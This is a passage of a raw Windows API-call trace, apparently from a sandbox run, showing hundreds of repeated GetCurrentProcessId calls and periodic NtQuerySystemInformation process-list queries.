GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0111.964] GetCurrentProcessId () returned 0xd70 [0112.487] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be68) returned 0x0 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.488] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.489] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.490] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0112.491] GetCurrentProcessId () returned 0xd70 [0113.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bc68) returned 0x0 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.102] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.103] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.104] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.105] GetCurrentProcessId () returned 0xd70 [0113.106] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.109] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.110] GetCurrentProcessId () returned 0xd70 [0113.662] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bc18) returned 0x0 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.663] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.664] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.665] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0113.666] GetCurrentProcessId () returned 0xd70 [0114.219] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1bc68) returned 0x0 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.220] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.221] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.222] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.223] GetCurrentProcessId () returned 0xd70 [0114.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1b978) returned 0x0 [0114.745] GetCurrentProcessId () returned 0xd70 [0114.745] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.746] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.747] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.748] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0114.749] GetCurrentProcessId () returned 0xd70 [0115.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1ba18) returned 0x0 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.429] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () returned 0xd70 [0115.430] GetCurrentProcessId () 